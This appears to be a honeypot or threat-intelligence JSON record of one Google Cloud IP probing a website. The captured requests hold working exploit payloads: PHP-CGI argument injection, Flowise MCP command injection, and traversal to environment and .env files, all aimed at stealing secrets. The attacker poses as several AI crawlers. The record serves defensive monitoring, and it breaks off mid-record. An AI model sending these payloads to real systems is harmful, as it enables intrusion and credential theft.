{"ip":"34.124.215.33","total_events":241,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"89 exploit-path hits","confidence":"high","network_type":null,"why":["89 request(s) matched a known exploit path.","Body-carrying methods (POST/PUT/PATCH/DELETE) seen: payload delivery, not just recon.","5+ hits raise confidence to high.","Not in any known-scanner range.","Sent 1,720,456 bytes: sustained payload delivery, not a single opportunistic request."],"engagement":{"level":"payload","label":"Sustained payload","detail":"1,720,456 bytes sent","bytes_sent":1720456,"session_seconds":13,"persistent":false}},"first_seen":"2026-09-30T03:44:38","last_seen":"2026-09-30T03:45:04","events_24h":241,"events_7d":241,"geo":{"country_code":"SG","country_name":"Singapore","region":"","city":"Singapore","lat":1.2872,"lon":103.8507,"asn":396982,"org":"Google LLC"},"source_domain":"33.215.124.34.bc.googleusercontent.com","known_scanners":[],"scanner_tag":{"key":"gcp","label":"Google Cloud","category":"hosting_provider","url":"https://cloud.google.com/"},"cve_matches":[{"cve_id":"CVE-2024-4577","title":"PHP CGI - Argument Injection","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/php-cgi/php-cgi.exe"},{"cve_id":"CVE-2021-43798","title":"Grafana v8.x - Arbitrary File Read","severity":"high","actively_exploited":true,"match_field":"url_path","matched_pattern":"/public/plugins"},{"cve_id":"CVE-2026-33017","title":"Langflow < 1.9.0 - Remote Code Execution","severity":"CRITICAL","actively_exploited":true,"match_field":"url_path","matched_pattern":"/api/v1/build_public_tmp/00000000-0000-0000-0000-000000000000/flow"},{"cve_id":"CVE-2026-85688","title":"TEN Framework - Arbitrary File Read & Write","severity":"critical","actively_exploited":false,"match_field":"url_path","matched_pattern":"/api/designer/v1/file-content"},{"cve_id":"CVE-2019-11248","title":"Debug Endpoint pprof - Exposure Detection","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/debug/pprof"},{"cve_id":"CVE-2026-23536","title":"Feast Feature Server <=0.58.0 - Arbitrary File Read","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/read-document"},{"cve_id":"CVE-2026-89013","title":"Dolibarr < 24.0.0 - Authorization Bypass via hashp Parameter","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/document.php"},{"cve_id":"CVE-2024-56159","title":"Astro - Information Disclosure","severity":"medium","actively_exploited":false,"match_field":"url_path","matched_pattern":"/pages/index.astro.mjs.map"}],"malware":[],"top_ports":[{"port":443,"proto":"tcp","label":"HTTPS","count":241}],"fingerprints":{"ssh_hassh":[],"tls_ja4":["t13d1516h2_8daaf6152771_d8a2da3f94cd"],"tls_client_hello":"16030106bb010006b70303b5e576a14760fc79c47a67cbff6e6e21da5e9209c7d3b3d34e31ccaf1bcaf7d620a75c51b42eea8c269ecc9e5ffbdf0c1350a01146fcd28910535ffdf8c9f1b6930020eaea130113021303c02bc02fc02cc030cca9cca8c013c014009c009d002f00350100064efafa0000002b0007063a3a03040303000b00020100000d0012001004030804040105030805050108060601003304ef04ed8a8a00010011ec04c081a7254839aeafb408ba2175b7283fa8d2b97be50e28e55b70545d4ae4bc65d56415a93160caa41d48645e8543ee38053b600244817c1d60747b1b9804c6cac4678e5671799f301b09f217909b5b9ad1034fdc67a04258efe606e36798bd1a8d69e8bfc3f5c7ed9942239a5ce7a45589271c5edc33c167b64b5a7ef3c30beb113b71d413cc08308bfc682c762fe716057c8757e3231539a62203f5b9216b613d52901a292f528033fbf10ecf2120d97292b0118c10b338237845165bcf64ba97da1b070691187d0a1899757cbd62bbe07790f6e18160dca1ef93299c39617be483c55661774402577673fd45c75d376913873dc842ba90381733659d56a6c664b30250ca1ec7bcaa4127232d9caf5d629695ec34b2391d53363dff871eaee01679cc08280c3e6657b541f53a6dfc62c33a0aab60c763824788311376c9c633acb74cfa07b4f42f469b91da6bb4bd4112bc82ab56b35393619f69f26cdde53980b6361d5716cbf5c5993b79487942cc8c30582bbef7437e34bbb02b3a75e8673a9e33404a65b3e8258295382d53f643b01b591fc0c3d2b64f99c11e9f70b5273a2dddbb8d1fd4169ac19f303825b8806643c422ac484f28c5a7a3fac6743578600a17845c97da944b81f06ce9300db91b09f9b4b3652c421b21a851f32e73f06b5dda7336666852075afe734bf5cb300d5a58b842aaee539ac8b8c7d15c197e968eb61aaefcaaad95097e2d7b6b7fd172ec3b882b66b9da08c65fb31a753396d76b7af49812431b5c2326b3a3d1c73fab96c4647e83815c14a0a2e2c19cd2372068451952970e5fd75d3487c89c717c3fac656bb3cd378c75889a25656b185c4c75826c68fa831b9c511d6cf8b7d7cca7d8936f1cb8862027a71aaa1ad1373bf7475bddd93d8e625d8325a4fc46c06d8bbcf87b6f57b159d21127951121a610c0b3ca81772c961ae60986467687606592399f2ea9922f1c4e9087302792ba52aa7cb11b1c21abb1395a3f7927c11e9bb6cf769746c0226642275f5c2400a9a0c06823eb5903c052b3df7a78f9b8a7e3c303ec4758ee07b7ddd6593f041547d0bf0e2235f23288c2442a90530932255ccd54ba8045490ee6b5486982716acbdfe313e77c6dffda29b1f342727b8b0d7b884982a23fc2c27a3b53d6bab6f652634b711f523829b124bef6d0c8d27626b166443c891c33ac214bc1adfe1591f375a1c4610c88f3c5f5a77ba1324799a15037f1a0b5975443e54955f27dc6a30cc7a52b60316a63860452871e9113098450ccd1873451474cd1168ad78a02a4853c9b9573e9f991b41a23ea36418b1996fb731fc445083bd26f40932d1d79c841b3bded796a2e09ca998496f44b8e4382af6e896cf9bc1381a36eae356fab199824406988565446488b1723a069f272524493fef2b593113b8b45308af57c92c023ac206452153878b29c177cbe02ec4b35205171878fea61b69e3872c50611bd814b87a75655177d3d02abecaac58ce0b57fe8c01186557bb2016fe463e45193324b99b2820b40ba5e67b2814180ca55d3b662807d49ba0bfc9ccf63b0a1337c00eb6624555327b3b64aa417adf9335abe37b11b7787ff574f07221f8650419c3936baae2af2438a41078f0383f7ff6ce04e6e0a9d8699bbf85249dcb002327d08f11d212c5920c9d1352fc5cbe8a5946e025538a30caa9b724f833a805159df813f001d0020fe81d2e2d03994b3725e9943ba5805cb39774cdcf2a0da8348f8fc1aeae5d153002d00020101ff01000100fe0d00ba0000010001240020d1f6185e9b7231acbaf58c74131162328949008aa67232378bcba0488dfb27310090c9587930742102ccf0b90d2561e49d7dc42a2906a7649d145b52ccac2c673578c77cef8975274280e22da18f835ae5ca21627ef215805225d06ee455202f2e7187294d4b12196fb8dca2526adef9ac054381b7798a3a5f8b7d0712b059f0f77c18d801733def05e93ce165e8996e550fd4f33f97189bd28c802aad8d2b3dc6129621959e961968647709fcbb7177ed660023000000050005010000000000170000000a000c000a8a8a11ec001d00170018001200000010000e000c02683208687474702f312e31001b000302000200000017001500001273697465732e7072696e636875622e636f6d44cd000500030268322a2a0001","tls_ja3":["bf07f2ad69d30e60c61cdb5a42a910bd","be251f77e5a591803fc2f5c764b248fb","051e89bd902ada3ce5dd4f446d1d9e1a","392218a301b6d7accd715cc66b8d8784","21c1c1746758685bf5cded4080a6e7b5"],"http_akin":["b11cun062_00040016_84d4cebf_xce00d0f1","b11cun162_000c73fe_fe528c8e_xce00d0f1","b11cuq082_00050816_8184102b_xd0f1e7f3","b11cuq150_10057dde_0ef1dcbb","b11cuq050_00050812_107c8b82"]},"fingerprint_peers":{"t13d1516h2_8daaf6152771_d8a2da3f94cd":14,"b11cun062_00040016_84d4cebf_xce00d0f1":10,"b11cun162_000c73fe_fe528c8e_xce00d0f1":10,"b11cuq082_00050816_8184102b_xd0f1e7f3":10,"b11cuq150_10057dde_0ef1dcbb":10,"b11cuq050_00050812_107c8b82":97},"akin_families":{"b11cuq082_00050816_8184102b_xd0f1e7f3":{"head":"b11cuq050_00050812_107c8b82","shapes":3,"ips":97},"b11cuq050_00050812_107c8b82":{"head":"b11cuq050_00050812_107c8b82","shapes":3,"ips":97}},"user_agents":["Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)","Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.4; +https://openai.com/gptbot","Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)","Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36; compatible; OAI-SearchBot/1.4; +https://openai.com/searchbot","Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)","Mozilla/5.0 (compatible; PanguBot/1.0; +https://www.huaweicloud.com/)","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Safari/537.36"],"timeline":[{"date":"2026-09-30","count":241}],"recent_events":[{"timestamp":"2026-09-30T03:45:04","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"141\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com) AppleWebKit/537.36\"}","body":"code=aW1wb3J0IG9zOyByYWlzZSBFeGNlcHRpb24ob3MucG9wZW4oJ2VudiAyPi9kZXYvbnVsbCB8fCBjYXQgL3Byb2Mvc2VsZi9lbnZpcm9uIDI-L2Rldi9udWxsJykucmVhZCgpKQ==","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/exec-py","summary":"","payload_hex":"504f5354202f657865632d707920485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b20427974657370696465723b207370696465722d666565646261636b406279746564616e63652e636f6d29204170706c655765624b69742f3533372e33360d0a436f6e74656e742d4c656e6774683a203134310d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a636f64653d6157317762334a304947397a4f79427959576c7a5a53424665474e6c634852706232346f62334d75634739775a57346f4a325675646941795069396b5a585976626e5673624342386643426a595851674c33427962324d76633256735a69396c626e5a70636d39754944492d4c32526c64693975645778734a796b75636d56685a4367704b513d3d","method":"POST","user_agent":"Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com) AppleWebKit/537.36","ja3":"c0348301bc43dbb58f1945588d15fccd","session":"6e95dbc2-8b17-4247-b520-220bc77b5837","seq":33,"duration_ms":12173,"bytes_in":12799,"bytes_out":2574},{"timestamp":"2026-09-30T03:45:03","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"90\",\"content-type\":\"text/plain\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)\"}","body":"echo Content-Type: text/plain; echo; env 2>/dev/null || cat /proc/self/environ 2>/dev/null","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh","summary":"","payload_hex":"504f5354202f6367692d62696e2f2e2532652f2e2532652f2e2532652f2e2532652f2e2532652f2e2532652f2e2532652f2e2532652f2e2532652f2e2532652f62696e2f736820485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e30204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f3b20636f6d70617469626c653b20436c617564652d536561726368426f742f312e303b202b636c61756465626f7440616e7468726f7069632e636f6d290d0a436f6e74656e742d4c656e6774683a2039300d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a6563686f20436f6e74656e742d547970653a20746578742f706c61696e3b206563686f3b20656e7620323e2f6465762f6e756c6c207c7c20636174202f70726f632f73656c662f656e7669726f6e20323e2f6465762f6e756c6c","method":"POST","user_agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)","ja3":"c0348301bc43dbb58f1945588d15fccd","session":"6e95dbc2-8b17-4247-b520-220bc77b5837","seq":30,"duration_ms":11136,"bytes_in":11514,"bytes_out":2340},{"timestamp":"2026-09-30T03:45:03","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"211\",\"content-type\":\"application/json\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; cohere-ai; +https://cohere.com/crawler)\"}","body":"{\"loadMethod\":\"listActions\",\"inputs\":{\"mcpServerConfig\":\"({x:(function(){return process.mainModule.require('child_process').execSync('env 2>/dev/null || cat /proc/self/environ 2>/dev/null').toString();})()} )\"}}","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/api/v1/node-load-method/customMCP","summary":"","payload_hex":"504f5354202f6170692f76312f6e6f64652d6c6f61642d6d6574686f642f637573746f6d4d435020485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b20636f686572652d61693b202b68747470733a2f2f636f686572652e636f6d2f637261776c6572290d0a436f6e74656e742d4c656e6774683a203231310d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a7b226c6f61644d6574686f64223a226c697374416374696f6e73222c22696e70757473223a7b226d6370536572766572436f6e666967223a22287b783a2866756e6374696f6e28297b72657475726e2070726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e6578656353796e632827656e7620323e2f6465762f6e756c6c207c7c20636174202f70726f632f73656c662f656e7669726f6e20323e2f6465762f6e756c6c27292e746f537472696e6728293b7d2928297d2029227d7d","method":"POST","user_agent":"Mozilla/5.0 (compatible; cohere-ai; +https://cohere.com/crawler)","ja3":"c0348301bc43dbb58f1945588d15fccd","session":"6e95dbc2-8b17-4247-b520-220bc77b5837","seq":31,"duration_ms":11464,"bytes_in":11957,"bytes_out":2418},{"timestamp":"2026-09-30T03:45:03","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"211\",\"content-type\":\"application/json\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)\"}","body":"{\"loadMethod\":\"listActions\",\"inputs\":{\"mcpServerConfig\":\"({x:(function(){return process.mainModule.require('child_process').execSync('env 2>/dev/null || cat /proc/self/environ 2>/dev/null').toString();})()} )\"}}","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/flowise/api/v1/node-load-method/customMCP","summary":"","payload_hex":"504f5354202f666c6f776973652f6170692f76312f6e6f64652d6c6f61642d6d6574686f642f637573746f6d4d435020485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b20446565705365656b426f742f312e303b202b68747470733a2f2f7777772e646565707365656b2e636f6d2f290d0a436f6e74656e742d4c656e6774683a203231310d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a7b226c6f61644d6574686f64223a226c697374416374696f6e73222c22696e70757473223a7b226d6370536572766572436f6e666967223a22287b783a2866756e6374696f6e28297b72657475726e2070726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e6578656353796e632827656e7620323e2f6465762f6e756c6c207c7c20636174202f70726f632f73656c662f656e7669726f6e20323e2f6465762f6e756c6c27292e746f537472696e6728293b7d2928297d2029227d7d","method":"POST","user_agent":"Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)","ja3":"c0348301bc43dbb58f1945588d15fccd","session":"6e95dbc2-8b17-4247-b520-220bc77b5837","seq":32,"duration_ms":11772,"bytes_in":12413,"bytes_out":2496},{"timestamp":"2026-09-30T03:45:02","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"64\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)\"}","body":"<?php echo shell_exec('env 2>/dev/null || set 2>nul'); die(); ?>","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp://input","summary":"","payload_hex":"504f5354202f696e6465782e7068703f2d642b616c6c6f775f75726c5f696e636c7564652533646f6e2b2d642b6175746f5f70726570656e645f66696c652533647068703a2f2f696e70757420485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b20416d617a6f6e626f742f302e313b202b68747470733a2f2f646576656c6f7065722e616d617a6f6e2e636f6d2f737570706f72742f616d617a6f6e626f74290d0a436f6e74656e742d4c656e6774683a2036340d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a3c3f706870206563686f207368656c6c5f657865632827656e7620323e2f6465762f6e756c6c207c7c2073657420323e6e756c27293b2064696528293b203f3e","method":"POST","user_agent":"Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)","ja3":"c0348301bc43dbb58f1945588d15fccd","session":"6e95dbc2-8b17-4247-b520-220bc77b5837","seq":27,"duration_ms":10163,"bytes_in":10260,"bytes_out":2106},{"timestamp":"2026-09-30T03:45:02","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"64\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot\"}","body":"<?php echo shell_exec('env 2>/dev/null || set 2>nul'); die(); ?>","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/cgi-bin/php-cgi?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp://input","summary":"","payload_hex":"504f5354202f6367692d62696e2f7068702d6367693f2d642b616c6c6f775f75726c5f696e636c7564652533646f6e2b2d642b6175746f5f70726570656e645f66696c652533647068703a2f2f696e70757420485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e30204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f293b20636f6d70617469626c653b20436861744750542d557365722f312e303b202b68747470733a2f2f6f70656e61692e636f6d2f626f740d0a436f6e74656e742d4c656e6774683a2036340d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a3c3f706870206563686f207368656c6c5f657865632827656e7620323e2f6465762f6e756c6c207c7c2073657420323e6e756c27293b2064696528293b203f3e","method":"POST","user_agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot","ja3":"c0348301bc43dbb58f1945588d15fccd","session":"6e95dbc2-8b17-4247-b520-220bc77b5837","seq":28,"duration_ms":10509,"bytes_in":10656,"bytes_out":2184},{"timestamp":"2026-09-30T03:45:02","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"64\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36; compatible; OAI-SearchBot/1.4; +https://openai.com/searchbot\"}","body":"<?php echo shell_exec('env 2>/dev/null || set 2>nul'); die(); ?>","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/cgi-bin/php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp://input","summary":"","payload_hex":"504f5354202f6367692d62696e2f7068703f2d642b616c6c6f775f75726c5f696e636c7564652533646f6e2b2d642b6175746f5f70726570656e645f66696c652533647068703a2f2f696e70757420485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e3020284d6163696e746f73683b20496e74656c204d6163204f5320582031305f31355f3729204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f29204368726f6d652f3133312e302e302e30205361666172692f3533372e33363b20636f6d70617469626c653b204f41492d536561726368426f742f312e343b202b68747470733a2f2f6f70656e61692e636f6d2f736561726368626f740d0a436f6e74656e742d4c656e6774683a2036340d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a3c3f706870206563686f207368656c6c5f657865632827656e7620323e2f6465762f6e756c6c207c7c2073657420323e6e756c27293b2064696528293b203f3e","method":"POST","user_agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36; compatible; OAI-SearchBot/1.4; +https://openai.com/searchbot","ja3":"c0348301bc43dbb58f1945588d15fccd","session":"6e95dbc2-8b17-4247-b520-220bc77b5837","seq":29,"duration_ms":10826,"bytes_in":11122,"bytes_out":2262},{"timestamp":"2026-09-30T03:45:01","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"64\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; Kimi-SearchBot/1.0; +https://kimi.ai/)\"}","body":"<?php echo shell_exec('env 2>/dev/null || set 2>nul'); die(); ?>","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/php-cgi/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input","summary":"","payload_hex":"504f5354202f7068702d6367692f7068702d6367692e6578653f254144642b616c6c6f775f75726c5f696e636c756465253364312b254144642b6175746f5f70726570656e645f66696c652533647068703a2f2f696e70757420485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b204b696d692d536561726368426f742f312e303b202b68747470733a2f2f6b696d692e61692f290d0a436f6e74656e742d4c656e6774683a2036340d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a3c3f706870206563686f207368656c6c5f657865632827656e7620323e2f6465762f6e756c6c207c7c2073657420323e6e756c27293b2064696528293b203f3e","method":"POST","user_agent":"Mozilla/5.0 (compatible; Kimi-SearchBot/1.0; +https://kimi.ai/)","ja3":"c0348301bc43dbb58f1945588d15fccd","session":"6e95dbc2-8b17-4247-b520-220bc77b5837","seq":24,"duration_ms":9138,"bytes_in":9179,"bytes_out":1872},{"timestamp":"2026-09-30T03:45:01","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"64\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; Hunyuan/1.0; +https://hunyuan.tencent.com/)\"}","body":"<?php echo shell_exec('env 2>/dev/null || set 2>nul'); die(); ?>","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/cgi-bin/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input","summary":"","payload_hex":"504f5354202f6367692d62696e2f7068702d6367692e6578653f254144642b616c6c6f775f75726c5f696e636c756465253364312b254144642b6175746f5f70726570656e645f66696c652533647068703a2f2f696e70757420485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b2048756e7975616e2f312e303b202b68747470733a2f2f68756e7975616e2e74656e63656e742e636f6d2f290d0a436f6e74656e742d4c656e6774683a2036340d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a3c3f706870206563686f207368656c6c5f657865632827656e7620323e2f6465762f6e756c6c207c7c2073657420323e6e756c27293b2064696528293b203f3e","method":"POST","user_agent":"Mozilla/5.0 (compatible; Hunyuan/1.0; +https://hunyuan.tencent.com/)","ja3":"c0348301bc43dbb58f1945588d15fccd","session":"6e95dbc2-8b17-4247-b520-220bc77b5837","seq":25,"duration_ms":9478,"bytes_in":9545,"bytes_out":1950},{"timestamp":"2026-09-30T03:45:01","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"64\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; YiBot/1.0; +https://01.ai/)\"}","body":"<?php echo shell_exec('env 2>/dev/null || set 2>nul'); die(); ?>","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/cgi-bin/php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input","summary":"","payload_hex":"504f5354202f6367692d62696e2f7068703f254144642b616c6c6f775f75726c5f696e636c756465253364312b254144642b6175746f5f70726570656e645f66696c652533647068703a2f2f696e70757420485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b205969426f742f312e303b202b68747470733a2f2f30312e61692f290d0a436f6e74656e742d4c656e6774683a2036340d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a3c3f706870206563686f207368656c6c5f657865632827656e7620323e2f6465762f6e756c6c207c7c2073657420323e6e756c27293b2064696528293b203f3e","method":"POST","user_agent":"Mozilla/5.0 (compatible; YiBot/1.0; +https://01.ai/)","ja3":"c0348301bc43dbb58f1945588d15fccd","session":"6e95dbc2-8b17-4247-b520-220bc77b5837","seq":26,"duration_ms":9788,"bytes_in":9887,"bytes_out":2028}],"http_methods":[{"method":"GET","count":203},{"method":"POST","count":35},{"method":"DELETE","count":3}],"distinct_ports_total":1,"top_paths":[{"path":"/","count":2,"ports":1},{"path":"/api/templates/preview","count":2,"ports":1},{"path":"/feast/read-document","count":2,"ports":1},{"path":"/read-document","count":2,"ports":1},{"path":"/api/designer/v1/file-content","count":2,"ports":1},{"path":"/wp-config.php.old","count":1,"ports":1},{"path":"/@fs/.env?import&?raw??","count":1,"ports":1},{"path":"/public/plugins/alertlist/../../../../../../../../proc/self/environ","count":1,"ports":1},{"path":"/static/../../../a/../../../../proc/self/environ","count":1,"ports":1},{"path":"/@fs/..%252f..%252f..%252f..%252f..%252froot/.env?raw??","count":1,"ports":1},{"path":"/resources/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f.env","count":1,"ports":1},{"path":"/api/w/default/jobs_u/get_log_file/../../../../proc/self/environ","count":1,"ports":1},{"path":"/z9x8c7v6b5-debug-trigger-sites.princhub.com","count":1,"ports":1},{"path":"/public/plugins/text/../../../../../../../../proc/self/environ","count":1,"ports":1},{"path":"/@fs/../.env?import&raw??","count":1,"ports":1}],"distinct_paths_total":200,"top_snis":[{"value":"sites.princhub.com","count":241}],"top_hosts":[{"value":"sites.princhub.com","count":241}],"top_alpns":[{"value":"h2, http/1.1","count":241}],"banners":[],"credentials":[{"username":"","password":"bypass","count":2}],"header_profile":{"signature":["Accept-Encoding","Content-Length","Content-Type","Host","User-Agent"],"representative":[{"name":"Accept-Encoding","value":"gzip","notable":false},{"name":"Content-Length","value":"141","notable":false},{"name":"Content-Type","value":"application/x-www-form-urlencoded","notable":true},{"name":"Host","value":"sites.princhub.com","notable":false},{"name":"User-Agent","value":"Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com) 